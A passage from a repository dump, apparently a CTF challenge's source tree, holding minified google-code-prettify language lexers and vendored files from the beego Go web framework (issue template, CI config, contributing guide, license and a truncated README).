a=null;\nPR.registerLangHandler(PR.createSimpleLexer([[\"opn\",/^\\(+/,a,\"(\"],[\"clo\",/^\\)+/,a,\")\"],[\"com\",/^;[^\\n\\r]*/,a,\";\"],[\"pln\",/^[\\t\\n\\r \\xa0]+/,a,\"\\t\\n\\r \\u00a0\"],[\"str\",/^\"(?:[^\"\\\\]|\\\\[\\S\\s])*(?:\"|$)/,a,'\"']],[[\"kwd\",/^(?:block|c[ad]+r|catch|con[ds]|def(?:ine|un)|do|eq|eql|equal|equalp|eval-when|flet|format|go|if|labels|lambda|let|load-time-value|locally|macrolet|multiple-value-call|nil|progn|progv|quote|require|return-from|setq|symbol-macrolet|t|tagbody|the|throw|unwind)\\b/,a],\n\t[\"lit\",/^[+-]?(?:[#0]x[\\da-f]+|\\d+\\/\\d+|(?:\\.\\d+|\\d+(?:\\.\\d*)?)(?:[de][+-]?\\d+)?)/i],[\"lit\",/^'(?:-*(?:\\w|\\\\[!-~])(?:[\\w-]*|\\\\[!-~])[!=?]?)?/],[\"pln\",/^-*(?:[_a-z]|\\\\[!-~])(?:[\\w-]*|\\\\[!-~])[!=?]?/i],[\"pun\",/^[^\\w\\t\\n\\r \"'-);\\\\\\xa0]+/]]),[\"cl\",\"el\",\"lisp\",\"lsp\",\"scm\",\"ss\",\"rkt\"]);\n\n// lang-llvm.js\nPR.registerLangHandler(PR.createSimpleLexer([[\"pln\",/^[\\t\\n\\r \\xa0]+/,null,\"\\t\\n\\r \\u00a0\"],[\"str\",/^!?\"(?:[^\"\\\\]|\\\\[\\S\\s])*(?:\"|$)/,null,'\"'],[\"com\",/^;[^\\n\\r]*/,null,\";\"]],[[\"pln\",/^[!%@](?:[$\\-.A-Z_a-z][\\w$\\-.]*|\\d+)/],[\"kwd\",/^[^\\W\\d]\\w*/,null],[\"lit\",/^\\d+\\.\\d+/],[\"lit\",/^(?:\\d+|0[Xx][\\dA-Fa-f]+)/],[\"pun\",/^[(-*,:<->[\\]{}]|\\.\\.\\.$/]]),[\"llvm\",\"ll\"]);\n\n// lang-lua.js\nPR.registerLangHandler(PR.createSimpleLexer([[\"pln\",/^[\\t\\n\\r \\xa0]+/,null,\"\\t\\n\\r \\u00a0\"],[\"str\",/^(?:\"(?:[^\"\\\\]|\\\\[\\S\\s])*(?:\"|$)|'(?:[^'\\\\]|\\\\[\\S\\s])*(?:'|$))/,null,\"\\\"'\"]],[[\"com\",/^--(?:\\[(=*)\\[[\\S\\s]*?(?:]\\1]|$)|[^\\n\\r]*)/],[\"str\",/^\\[(=*)\\[[\\S\\s]*?(?:]\\1]|$)/],[\"kwd\",/^(?:and|break|do|else|elseif|end|false|for|function|if|in|local|nil|not|or|repeat|return|then|true|until|while)\\b/,null],[\"lit\",/^[+-]?(?:0x[\\da-f]+|(?:\\.\\d+|\\d+(?:\\.\\d*)?)(?:e[+-]?\\d+)?)/i],\n\t[\"pln\",/^[_a-z]\\w*/i],[\"pun\",/^[^\\w\\t\\n\\r \\xa0][^\\w\\t\\n\\r \"'+=\\xa0-]*/]]),[\"lua\"]);\n\n// lang-ml.js\nPR.registerLangHandler(PR.createSimpleLexer([[\"pln\",/^[\\t\\n\\r \\xa0]+/,null,\"\\t\\n\\r \\u00a0\"],[\"com\",/^#(?:if[\\t\\n\\r \\xa0]+(?:[$_a-z][\\w']*|``[^\\t\\n\\r`]*(?:``|$))|else|endif|light)/i,null,\"#\"],[\"str\",/^(?:\"(?:[^\"\\\\]|\\\\[\\S\\s])*(?:\"|$)|'(?:[^'\\\\]|\\\\[\\S\\s])(?:'|$))/,null,\"\\\"'\"]],[[\"com\",/^(?:\\/\\/[^\\n\\r]*|\\(\\*[\\S\\s]*?\\*\\))/],[\"kwd\",/^(?:abstract|and|as|assert|begin|class|default|delegate|do|done|downcast|downto|elif|else|end|exception|extern|false|finally|for|fun|function|if|in|inherit|inline|interface|internal|lazy|let|match|member|module|mutable|namespace|new|null|of|open|or|override|private|public|rec|return|static|struct|then|to|true|try|type|upcast|use|val|void|when|while|with|yield|asr|land|lor|lsl|lsr|lxor|mod|sig|atomic|break|checked|component|const|constraint|constructor|continue|eager|event|external|fixed|functor|global|include|method|mixin|object|parallel|process|protected|pure|sealed|trait|virtual|volatile)\\b/],\n\t[\"lit\",/^[+-]?(?:0x[\\da-f]+|(?:\\.\\d+|\\d+(?:\\.\\d*)?)(?:e[+-]?\\d+)?)/i],[\"pln\",/^(?:[_a-z][\\w']*[!#?]?|``[^\\t\\n\\r`]*(?:``|$))/i],[\"pun\",/^[^\\w\\t\\n\\r \"'\\xa0]+/]]),[\"fs\",\"ml\"]);\n\n// lang-mumps.js\nPR.registerLangHandler(PR.createSimpleLexer([[\"pln\",/^[\\t\\n\\r \\xa0]+/,null,\"\\t\\n\\r \\u00a0\"],[\"str\",/^\"(?:[^\"]|\\\\.)*\"/,null,'\"']],[[\"com\",/^;[^\\n\\r]*/,null,\";\"],[\"dec\",/^\\$(?:d|device|ec|ecode|es|estack|et|etrap|h|horolog|i|io|j|job|k|key|p|principal|q|quit|st|stack|s|storage|sy|system|t|test|tl|tlevel|tr|trestart|x|y|z[a-z]*|a|ascii|c|char|d|data|e|extract|f|find|fn|fnumber|g|get|j|justify|l|length|na|name|o|order|p|piece|ql|qlength|qs|qsubscript|q|query|r|random|re|reverse|s|select|st|stack|t|text|tr|translate|nan)\\b/i,\n\tnull],[\"kwd\",/^(?:[^$]b|break|c|close|d|do|e|else|f|for|g|goto|h|halt|h|hang|i|if|j|job|k|kill|l|lock|m|merge|n|new|o|open|q|quit|r|read|s|set|tc|tcommit|tre|trestart|tro|trollback|ts|tstart|u|use|v|view|w|write|x|xecute)\\b/i,null],[\"lit\",/^[+-]?(?:\\.\\d+|\\d+(?:\\.\\d*)?)(?:e[+-]?\\d+)?/i],[\"pln\",/^[a-z][^\\W_]*/i],[\"pun\",/^[^\\w\\t\\n\\r\"$%;^\\xa0]|_/]]),[\"mumps\"]);\n\n// lang-n.js\nvar a=null;\nPR.registerLangHandler(PR.createSimpleLexer([[\"str\",/^(?:'(?:[^\\n\\r'\\\\]|\\\\.)*'|\"(?:[^\\n\\r\"\\\\]|\\\\.)*(?:\"|$))/,a,'\"'],[\"com\",/^#(?:(?:define|elif|else|endif|error|ifdef|include|ifndef|line|pragma|undef|warning)\\b|[^\\n\\r]*)/,a,\"#\"],[\"pln\",/^\\s+/,a,\" \\r\\n\\t\\u00a0\"]],[[\"str\",/^@\"(?:[^\"]|\"\")*(?:\"|$)/,a],[\"str\",/^<#[^#>]*(?:#>|$)/,a],[\"str\",/^<(?:(?:(?:\\.\\.\\/)*|\\/?)(?:[\\w-]+(?:\\/[\\w-]+)+)?[\\w-]+\\.h|[a-z]\\w*)>/,a],[\"com\",/^\\/\\/[^\\n\\r]*/,a],[\"com\",/^\\/\\*[\\S\\s]*?(?:\\*\\/|$)/,\n\ta],[\"kwd\",/^(?:abstract|and|as|base|catch|class|def|delegate|enum|event|extern|false|finally|fun|implements|interface|internal|is|macro|match|matches|module|mutable|namespace|new|null|out|override|params|partial|private|protected|public|ref|sealed|static|struct|syntax|this|throw|true|try|type|typeof|using|variant|virtual|volatile|when|where|with|assert|assert2|async|break|checked|continue|do|else|ensures|for|foreach|if|late|lock|new|nolate|otherwise|regexp|repeat|requires|return|surroundwith|unchecked|unless|using|while|yield)\\b/,\n\ta],[\"typ\",/^(?:array|bool|byte|char|decimal|double|float|int|list|long|object|sbyte|short|string|ulong|uint|ufloat|ulong|ushort|void)\\b/,a],[\"lit\",/^@[$_a-z][\\w$@]*/i,a],[\"typ\",/^@[A-Z]+[a-z][\\w$@]*/,a],[\"pln\",/^'?[$_a-z][\\w$@]*/i,a],[\"lit\",/^(?:0x[\\da-f]+|(?:\\d(?:_\\d+)*\\d*(?:\\.\\d*)?|\\.\\d\\+)(?:e[+-]?\\d+)?)[a-z]*/i,a,\"0123456789\"],[\"pun\",/^.[^\\s\\w\"-$'./@`]*/,a]]),[\"n\",\"nemerle\"]);\n\n// lang-pascal.js\nvar a=null;\nPR.registerLangHandler(PR.createSimpleLexer([[\"str\",/^'(?:[^\\n\\r'\\\\]|\\\\.)*(?:'|$)/,a,\"'\"],[\"pln\",/^\\s+/,a,\" \\r\\n\\t\\u00a0\"]],[[\"com\",/^\\(\\*[\\S\\s]*?(?:\\*\\)|$)|^{[\\S\\s]*?(?:}|$)/,a],[\"kwd\",/^(?:absolute|and|array|asm|assembler|begin|case|const|constructor|destructor|div|do|downto|else|end|external|for|forward|function|goto|if|implementation|in|inline|interface|interrupt|label|mod|not|object|of|or|packed|procedure|program|record|repeat|set|shl|shr|then|to|type|unit|until|uses|var|virtual|while|with|xor)\\b/i,a],\n\t[\"lit\",/^(?:true|false|self|nil)/i,a],[\"pln\",/^[a-z][^\\W_]*/i,a],[\"lit\",/^(?:\\$[\\da-f]+|(?:\\d+(?:\\.\\d*)?|\\.\\d+)(?:e[+-]?\\d+)?)/i,a,\"0123456789\"],[\"pun\",/^.[^\\s\\w$'./@]*/,a]]),[\"pascal\"]);\n\n// lang-proto.js\nPR.registerLangHandler(PR.sourceDecorator({keywords:\"bytes,default,double,enum,extend,extensions,false,group,import,max,message,option,optional,package,repeated,required,returns,rpc,service,syntax,to,true\",types:/^(bool|(double|s?fixed|[su]?int)(32|64)|float|string)\\b/,cStyleComments:!0}),[\"proto\"]);\n\n// lang-r.js\nPR.registerLangHandler(PR.createSimpleLexer([[\"pln\",/^[\\t\\n\\r \\xa0]+/,null,\"\\t\\n\\r \\u00a0\"],[\"str\",/^\"(?:[^\"\\\\]|\\\\[\\S\\s])*(?:\"|$)/,null,'\"'],[\"str\",/^'(?:[^'\\\\]|\\\\[\\S\\s])*(?:'|$)/,null,\"'\"]],[[\"com\",/^#.*/],[\"kwd\",/^(?:if|else|for|while|repeat|in|next|break|return|switch|function)(?![\\w.])/],[\"lit\",/^0[Xx][\\dA-Fa-f]+([Pp]\\d+)?[Li]?/],[\"lit\",/^[+-]?(\\d+(\\.\\d+)?|\\.\\d+)([Ee][+-]?\\d+)?[Li]?/],[\"lit\",/^(?:NULL|NA(?:_(?:integer|real|complex|character)_)?|Inf|TRUE|FALSE|NaN|\\.\\.(?:\\.|\\d+))(?![\\w.])/],\n\t[\"pun\",/^(?:<<?-|->>?|-|==|<=|>=|<|>|&&?|!=|\\|\\|?|[!*+/^]|%.*?%|[$=@~]|:{1,3}|[(),;?[\\]{}])/],[\"pln\",/^(?:[A-Za-z]+[\\w.]*|\\.[^\\W\\d][\\w.]*)(?![\\w.])/],[\"str\",/^`.+`/]]),[\"r\",\"s\",\"R\",\"S\",\"Splus\"]);\n\n// lang-rd.js\nPR.registerLangHandler(PR.createSimpleLexer([[\"pln\",/^[\\t\\n\\r \\xa0]+/,null,\"\\t\\n\\r \\u00a0\"],[\"com\",/^%[^\\n\\r]*/,null,\"%\"]],[[\"lit\",/^\\\\(?:cr|l?dots|R|tab)\\b/],[\"kwd\",/^\\\\[@-Za-z]+/],[\"kwd\",/^#(?:ifn?def|endif)/],[\"pln\",/^\\\\[{}]/],[\"pun\",/^[()[\\]{}]+/]]),[\"Rd\",\"rd\"]);\n\n// lang-scala.js\nPR.registerLangHandler(PR.createSimpleLexer([[\"pln\",/^[\\t\\n\\r \\xa0]+/,null,\"\\t\\n\\r \\u00a0\"],[\"str\",/^\"(?:\"\"(?:\"\"?(?!\")|[^\"\\\\]|\\\\.)*\"{0,3}|(?:[^\\n\\r\"\\\\]|\\\\.)*\"?)/,null,'\"'],[\"lit\",/^`(?:[^\\n\\r\\\\`]|\\\\.)*`?/,null,\"`\"],[\"pun\",/^[!#%&(--:-@[-^{-~]+/,null,\"!#%&()*+,-:;<=>?@[\\\\]^{|}~\"]],[[\"str\",/^'(?:[^\\n\\r'\\\\]|\\\\(?:'|[^\\n\\r']+))'/],[\"lit\",/^'[$A-Z_a-z][\\w$]*(?![\\w$'])/],[\"kwd\",/^(?:abstract|case|catch|class|def|do|else|extends|final|finally|for|forSome|if|implicit|import|lazy|match|new|object|override|package|private|protected|requires|return|sealed|super|throw|trait|try|type|val|var|while|with|yield)\\b/],\n\t[\"lit\",/^(?:true|false|null|this)\\b/],[\"lit\",/^(?:0(?:[0-7]+|x[\\da-f]+)l?|(?:0|[1-9]\\d*)(?:(?:\\.\\d+)?(?:e[+-]?\\d+)?f?|l?)|\\\\.\\d+(?:e[+-]?\\d+)?f?)/i],[\"typ\",/^[$_]*[A-Z][\\d$A-Z_]*[a-z][\\w$]*/],[\"pln\",/^[$A-Z_a-z][\\w$]*/],[\"com\",/^\\/(?:\\/.*|\\*(?:\\/|\\**[^*/])*(?:\\*+\\/?)?)/],[\"pun\",/^(?:\\.+|\\/)/]]),[\"scala\"]);\n\n// lang-sql.js\nPR.registerLangHandler(PR.createSimpleLexer([[\"pln\",/^[\\t\\n\\r \\xa0]+/,null,\"\\t\\n\\r \\u00a0\"],[\"str\",/^(?:\"(?:[^\"\\\\]|\\\\.)*\"|'(?:[^'\\\\]|\\\\.)*')/,null,\"\\\"'\"]],[[\"com\",/^(?:--[^\\n\\r]*|\\/\\*[\\S\\s]*?(?:\\*\\/|$))/],[\"kwd\",/^(?:add|all|alter|and|any|apply|as|asc|authorization|backup|begin|between|break|browse|bulk|by|cascade|case|check|checkpoint|close|clustered|coalesce|collate|column|commit|compute|connect|constraint|contains|containstable|continue|convert|create|cross|current|current_date|current_time|current_timestamp|current_user|cursor|database|dbcc|deallocate|declare|default|delete|deny|desc|disk|distinct|distributed|double|drop|dummy|dump|else|end|errlvl|escape|except|exec|execute|exists|exit|fetch|file|fillfactor|following|for|foreign|freetext|freetexttable|from|full|function|goto|grant|group|having|holdlock|identity|identitycol|identity_insert|if|in|index|inner|insert|intersect|into|is|join|key|kill|left|like|lineno|load|match|matched|merge|natural|national|nocheck|nonclustered|nocycle|not|null|nullif|of|off|offsets|on|open|opendatasource|openquery|openrowset|openxml|option|or|order|outer|over|partition|percent|pivot|plan|preceding|precision|primary|print|proc|procedure|public|raiserror|read|readtext|reconfigure|references|replication|restore|restrict|return|revoke|right|rollback|rowcount|rowguidcol|rows?|rule|save|schema|select|session_user|set|setuser|shutdown|some|start|statistics|system_user|table|textsize|then|to|top|tran|transaction|trigger|truncate|tsequal|unbounded|union|unique|unpivot|update|updatetext|use|user|using|values|varying|view|waitfor|when|where|while|with|within|writetext|xml)(?=[^\\w-]|$)/i,\n\tnull],[\"lit\",/^[+-]?(?:0x[\\da-f]+|(?:\\.\\d+|\\d+(?:\\.\\d*)?)(?:e[+-]?\\d+)?)/i],[\"pln\",/^[_a-z][\\w-]*/i],[\"pun\",/^[^\\w\\t\\n\\r \"'\\xa0][^\\w\\t\\n\\r \"'+\\xa0-]*/]]),[\"sql\"]);\n\n// lang-tcl.js\nvar a=null;\nPR.registerLangHandler(PR.createSimpleLexer([[\"opn\",/^{+/,a,\"{\"],[\"clo\",/^}+/,a,\"}\"],[\"com\",/^#[^\\n\\r]*/,a,\"#\"],[\"pln\",/^[\\t\\n\\r \\xa0]+/,a,\"\\t\\n\\r \\u00a0\"],[\"str\",/^\"(?:[^\"\\\\]|\\\\[\\S\\s])*(?:\"|$)/,a,'\"']],[[\"kwd\",/^(?:after|append|apply|array|break|case|catch|continue|error|eval|exec|exit|expr|for|foreach|if|incr|info|proc|return|set|switch|trace|uplevel|upvar|while)\\b/,a],[\"lit\",/^[+-]?(?:[#0]x[\\da-f]+|\\d+\\/\\d+|(?:\\.\\d+|\\d+(?:\\.\\d*)?)(?:[de][+-]?\\d+)?)/i],[\"lit\",\n\t/^'(?:-*(?:\\w|\\\\[!-~])(?:[\\w-]*|\\\\[!-~])[!=?]?)?/],[\"pln\",/^-*(?:[_a-z]|\\\\[!-~])(?:[\\w-]*|\\\\[!-~])[!=?]?/i],[\"pun\",/^[^\\w\\t\\n\\r \"'-);\\\\\\xa0]+/]]),[\"tcl\"]);\n\n// lang-tex.js\nPR.registerLangHandler(PR.createSimpleLexer([[\"pln\",/^[\\t\\n\\r \\xa0]+/,null,\"\\t\\n\\r \\u00a0\"],[\"com\",/^%[^\\n\\r]*/,null,\"%\"]],[[\"kwd\",/^\\\\[@-Za-z]+/],[\"kwd\",/^\\\\./],[\"typ\",/^[$&]/],[\"lit\",/[+-]?(?:\\.\\d+|\\d+(?:\\.\\d*)?)(cm|em|ex|in|pc|pt|bp|mm)/i],[\"pun\",/^[()=[\\]{}]+/]]),[\"latex\",\"tex\"]);\n\n// lang-vb.js\nPR.registerLangHandler(PR.createSimpleLexer([[\"pln\",/^[\\t\\n\\r \\xa0\\u2028\\u2029]+/,null,\"\\t\\n\\r \\u00a0\\u2028\\u2029\"],[\"str\",/^(?:[\"\\u201c\\u201d](?:[^\"\\u201c\\u201d]|[\"\\u201c\\u201d]{2})(?:[\"\\u201c\\u201d]c|$)|[\"\\u201c\\u201d](?:[^\"\\u201c\\u201d]|[\"\\u201c\\u201d]{2})*(?:[\"\\u201c\\u201d]|$))/i,null,'\"\\u201c\\u201d'],[\"com\",/^['\\u2018\\u2019](?:_(?:\\r\\n?|[^\\r]?)|[^\\n\\r_\\u2028\\u2029])*/,null,\"'\\u2018\\u2019\"]],[[\"kwd\",/^(?:addhandler|addressof|alias|and|andalso|ansi|as|assembly|auto|boolean|byref|byte|byval|call|case|catch|cbool|cbyte|cchar|cdate|cdbl|cdec|char|cint|class|clng|cobj|const|cshort|csng|cstr|ctype|date|decimal|declare|default|delegate|dim|directcast|do|double|each|else|elseif|end|endif|enum|erase|error|event|exit|finally|for|friend|function|get|gettype|gosub|goto|handles|if|implements|imports|in|inherits|integer|interface|is|let|lib|like|long|loop|me|mod|module|mustinherit|mustoverride|mybase|myclass|namespace|new|next|not|notinheritable|notoverridable|object|on|option|optional|or|orelse|overloads|overridable|overrides|paramarray|preserve|private|property|protected|public|raiseevent|readonly|redim|removehandler|resume|return|select|set|shadows|shared|short|single|static|step|stop|string|structure|sub|synclock|then|throw|to|try|typeof|unicode|until|variant|wend|when|while|with|withevents|writeonly|xor|endif|gosub|let|variant|wend)\\b/i,\n\tnull],[\"com\",/^rem\\b.*/i],[\"lit\",/^(?:true\\b|false\\b|nothing\\b|\\d+(?:e[+-]?\\d+[dfr]?|[dfilrs])?|(?:&h[\\da-f]+|&o[0-7]+)[ils]?|\\d*\\.\\d+(?:e[+-]?\\d+)?[dfr]?|#\\s+(?:\\d+[/-]\\d+[/-]\\d+(?:\\s+\\d+:\\d+(?::\\d+)?(\\s*(?:am|pm))?)?|\\d+:\\d+(?::\\d+)?(\\s*(?:am|pm))?)\\s+#)/i],[\"pln\",/^(?:(?:[a-z]|_\\w)\\w*(?:\\[[!#%&@]+])?|\\[(?:[a-z]|_\\w)\\w*])/i],[\"pun\",/^[^\\w\\t\\n\\r \"'[\\]\\xa0\\u2018\\u2019\\u201c\\u201d\\u2028\\u2029]+/],[\"pun\",/^(?:\\[|])/]]),[\"vb\",\"vbs\"]);\n\n// lang-vhdl.js\nPR.registerLangHandler(PR.createSimpleLexer([[\"pln\",/^[\\t\\n\\r \\xa0]+/,null,\"\\t\\n\\r \\u00a0\"]],[[\"str\",/^(?:[box]?\"(?:[^\"]|\"\")*\"|'.')/i],[\"com\",/^--[^\\n\\r]*/],[\"kwd\",/^(?:abs|access|after|alias|all|and|architecture|array|assert|attribute|begin|block|body|buffer|bus|case|component|configuration|constant|disconnect|downto|else|elsif|end|entity|exit|file|for|function|generate|generic|group|guarded|if|impure|in|inertial|inout|is|label|library|linkage|literal|loop|map|mod|nand|new|next|nor|not|null|of|on|open|or|others|out|package|port|postponed|procedure|process|pure|range|record|register|reject|rem|report|return|rol|ror|select|severity|shared|signal|sla|sll|sra|srl|subtype|then|to|transport|type|unaffected|units|until|use|variable|wait|when|while|with|xnor|xor)(?=[^\\w-]|$)/i,\n\tnull],[\"typ\",/^(?:bit|bit_vector|character|boolean|integer|real|time|string|severity_level|positive|natural|signed|unsigned|line|text|std_u?logic(?:_vector)?)(?=[^\\w-]|$)/i,null],[\"typ\",/^'(?:active|ascending|base|delayed|driving|driving_value|event|high|image|instance_name|last_active|last_event|last_value|left|leftof|length|low|path_name|pos|pred|quiet|range|reverse_range|right|rightof|simple_name|stable|succ|transaction|val|value)(?=[^\\w-]|$)/i,null],[\"lit\",/^\\d+(?:_\\d+)*(?:#[\\w.\\\\]+#(?:[+-]?\\d+(?:_\\d+)*)?|(?:\\.\\d+(?:_\\d+)*)?(?:e[+-]?\\d+(?:_\\d+)*)?)/i],\n\t[\"pln\",/^(?:[a-z]\\w*|\\\\[^\\\\]*\\\\)/i],[\"pun\",/^[^\\w\\t\\n\\r \"'\\xa0][^\\w\\t\\n\\r \"'\\xa0-]*/]]),[\"vhdl\",\"vhd\"]);\n\n// lang-wiki.js\nPR.registerLangHandler(PR.createSimpleLexer([[\"pln\",/^[\\d\\t a-gi-z\\xa0]+/,null,\"\\t \\u00a0abcdefgijklmnopqrstuvwxyz0123456789\"],[\"pun\",/^[*=[\\]^~]+/,null,\"=*~^[]\"]],[[\"lang-wiki.meta\",/(?:^^|\\r\\n?|\\n)(#[a-z]+)\\b/],[\"lit\",/^[A-Z][a-z][\\da-z]+[A-Z][a-z][^\\W_]+\\b/],[\"lang-\",/^{{{([\\S\\s]+?)}}}/],[\"lang-\",/^`([^\\n\\r`]+)`/],[\"str\",/^https?:\\/\\/[^\\s#/?]*(?:\\/[^\\s#?]*)?(?:\\?[^\\s#]*)?(?:#\\S*)?/i],[\"pln\",/^(?:\\r\\n|[\\S\\s])[^\\n\\r#*=A-[^`h{~]*/]]),[\"wiki\"]);\nPR.registerLangHandler(PR.createSimpleLexer([[\"kwd\",/^#[a-z]+/i,null,\"#\"]],[]),[\"wiki.meta\"]);\n\n// lang-yaml.js\nvar a=null;\nvar a=null;\nPR.registerLangHandler(PR.createSimpleLexer([[\"pun\",/^[:>?|]+/,a,\":|>?\"],[\"dec\",/^%(?:YAML|TAG)[^\\n\\r#]+/,a,\"%\"],[\"typ\",/^&\\S+/,a,\"&\"],[\"typ\",/^!\\S*/,a,\"!\"],[\"str\",/^\"(?:[^\"\\\\]|\\\\.)*(?:\"|$)/,a,'\"'],[\"str\",/^'(?:[^']|'')*(?:'|$)/,a,\"'\"],[\"com\",/^#[^\\n\\r]*/,a,\"#\"],[\"pln\",/^\\s+/,a,\" \\t\\r\\n\"]],[[\"dec\",/^(?:---|\\.\\.\\.)(?:[\\n\\r]|$)/],[\"pun\",/^-/],[\"kwd\",/^\\w+:[\\n\\r ]/],[\"pln\",/^\\w+/]]),[\"yaml\",\"yml\"]);\n\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/.github/ISSUE_TEMPLATE",
    "content": "Please answer these questions before submitting your issue. Thanks!\n\n1. What version of Go and beego are you using (`bee version`)?\n\n\n2. What operating system and processor architecture are you using (`go env`)?\n\n\n3. What did you do?\nIf possible, provide a recipe for reproducing the error.\nA complete runnable program is good.\n\n\n4. What did you expect to see?\n\n\n5. What did you see instead?"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/.gitignore",
    "content": ".idea\n.vscode\n.DS_Store\n*.swp\n*.swo\nbeego.iml\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/.gosimpleignore",
    "content": "github.com/astaxie/beego/*/*:S1012\ngithub.com/astaxie/beego/*:S1012\ngithub.com/astaxie/beego/*/*:S1007\ngithub.com/astaxie/beego/*:S1007"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/.travis.yml",
    "content": "language: go\n\ngo:\n  - 1.7.5\n  - 1.8.5\n  - 1.9.2\nservices:\n  - redis-server\n  - mysql\n  - postgresql\n  - memcached\nenv:\n  - ORM_DRIVER=sqlite3   ORM_SOURCE=$TRAVIS_BUILD_DIR/orm_test.db\n  - ORM_DRIVER=postgres ORM_SOURCE=\"user=postgres dbname=orm_test sslmode=disable\"\nbefore_install:\n - git clone git://github.com/ideawu/ssdb.git\n - cd ssdb\n - make\n - cd ..\ninstall:\n  - go get github.com/lib/pq\n  - go get github.com/go-sql-driver/mysql\n  - go get github.com/mattn/go-sqlite3\n  - go get github.com/bradfitz/gomemcache/memcache\n  - go get github.com/garyburd/redigo/redis\n  - go get github.com/beego/x2j\n  - go get github.com/couchbase/go-couchbase\n  - go get github.com/beego/goyaml2\n  - go get github.com/belogik/goes\n  - go get github.com/siddontang/ledisdb/config\n  - go get github.com/siddontang/ledisdb/ledis\n  - go get github.com/ssdb/gossdb/ssdb\n  - go get github.com/cloudflare/golz4\n  - go get github.com/gogo/protobuf/proto\n  - go get github.com/Knetic/govaluate\n  - go get github.com/casbin/casbin\n  - go get -u honnef.co/go/tools/cmd/gosimple\n  - go get -u github.com/mdempsky/unconvert\n  - go get -u github.com/gordonklaus/ineffassign\n  - go get -u github.com/golang/lint/golint\nbefore_script:\n  - psql --version\n  - sh -c \"if [ '$ORM_DRIVER' = 'postgres' ]; then psql -c 'create database orm_test;' -U postgres; fi\"\n  - sh -c \"if [ '$ORM_DRIVER' = 'mysql' ]; then mysql -u root -e 'create database orm_test;'; fi\"\n  - sh -c \"if [ '$ORM_DRIVER' = 'sqlite' ]; then touch $TRAVIS_BUILD_DIR/orm_test.db; fi\"\n  - sh -c \"if [ $(go version) == *1.[5-9]* ]; then go get github.com/golang/lint/golint; golint ./...; fi\"\n  - sh -c \"if [ $(go version) == *1.[5-9]* ]; then go tool vet .; fi\"\n  - mkdir -p res/var\n  - ./ssdb/ssdb-server ./ssdb/ssdb.conf -d\nafter_script:\n  -killall -w ssdb-server\n  - rm -rf ./res/var/*\nscript:\n  - go test -v ./...\n  - gosimple -ignore \"$(cat .gosimpleignore)\" $(go list ./... | grep -v /vendor/)\n  - unconvert $(go list ./... | grep -v /vendor/)\n  - ineffassign .\n  - find . ! \\( -path './vendor' -prune \\) -type f -name '*.go' -print0 | xargs -0 gofmt -l -s\n  - golint ./...\naddons:\n  postgresql: \"9.4\"\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/CONTRIBUTING.md",
    "content": "# Contributing to beego\n\nbeego is an open source project.\n\nIt is the work of hundreds of contributors. We appreciate your help!\n\nHere are instructions to get you started. They are probably not perfect, \nplease let us know if anything feels wrong or incomplete.\n\n## Contribution guidelines\n\n### Pull requests\n\nFirst of all. beego follow the gitflow. So please send you pull request \nto **develop** branch. We will close the pull request to master branch.\n\nWe are always happy to receive pull requests, and do our best to\nreview them as fast as possible. Not sure if that typo is worth a pull\nrequest? Do it! We will appreciate it.\n\nIf your pull request is not accepted on the first try, don't be\ndiscouraged! Sometimes we can make a mistake, please do more explaining \nfor us. We will appreciate it.\n\nWe're trying very hard to keep beego simple and fast. We don't want it\nto do everything for everybody. This means that we might decide against\nincorporating a new feature. But we will give you some advice on how to \ndo it in other way.\n\n### Create issues\n\nAny significant improvement should be documented as [a GitHub\nissue](https://github.com/astaxie/beego/issues) before anybody\nstarts working on it. \n\nAlso when filing an issue, make sure to answer these five questions:\n\n- What version of beego are you using (bee version)?\n- What operating system and processor architecture are you using?\n- What did you do?\n- What did you expect to see?\n- What did you see instead?\n\n### but check existing issues and docs first!\n\nPlease take a moment to check that an issue doesn't already exist\ndocumenting your bug report or improvement proposal. If it does, it\nnever hurts to add a quick \"+1\" or \"I have this problem too\". This will\nhelp prioritize the most common problems and requests.\n\nAlso if you don't know how to use it. please make sure you have read though\nthe docs in http://beego.me/docs"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/LICENSE",
    "content": "Copyright 2014 astaxie\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License."
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/README.md",
    "content": "# Beego [![Build Status](https://travis-ci.org/astaxie/beego.svg?branch=master)](https://travis-ci.org/astaxie/beego) [![GoDoc](http://godoc.org/github.com/astaxie/beego?status.svg)](http://godoc.org/github.com/astaxie/beego) [![Foundation](https://img.shields.io/badge/Golang-Foundation-green.svg)](http://golangfoundation.org) [![Go Report Card](https://goreportcard.com/badge/github.com/astaxie/beego)](https://goreportcard.com/report/github.com/astaxie/beego)\n\n\nbeego is used for rapid development of RESTful APIs, web apps and backend services in Go.\nIt is inspired by Tornado, Sinatra and Flask. beego has some Go-specific features such as interfaces and struct embedding.\n\n###### More info at [beego.me](http://beego.me).\n\n## Quick Start\n\n#### Download and install\n\n    go get github.com/astaxie/beego\n\n#### Create file `hello.go`\n```go\npackage main\n\nimport \"github.com/astaxie/beego\"\n\nfunc main(){\n    beego.Run()\n}\n```\n#### Build and run\n\n    go build hello.go\n    ./hello\n\n#### Go to [http://localhost:8080](http://localhost:8080)\n\nCongratulations! You've just built your first **beego** app.\n\n###### Please see [Documentation](http://beego.me/docs) for more.\n\n## Features\n\n* RESTful support\n* MVC architecture\n* Modularity\n* Auto API documents\n* Annotation router\n* Namespace\n* Powerful development tools\n* Full stack for Web & API\n\n## Documentation\n\n* [English](http://beego.me/docs/intro/)\n* [中文文档](http://beego.me/docs/intro/)\n* [Русский](http://beego.me/docs/intro/)\n\n## Community\n\n* [http://beego.me/community](http://beego.me/community)\n* Welcome to join us in Slack: [https://beego.slack.com](https://beego.slack.com), you can get invited from 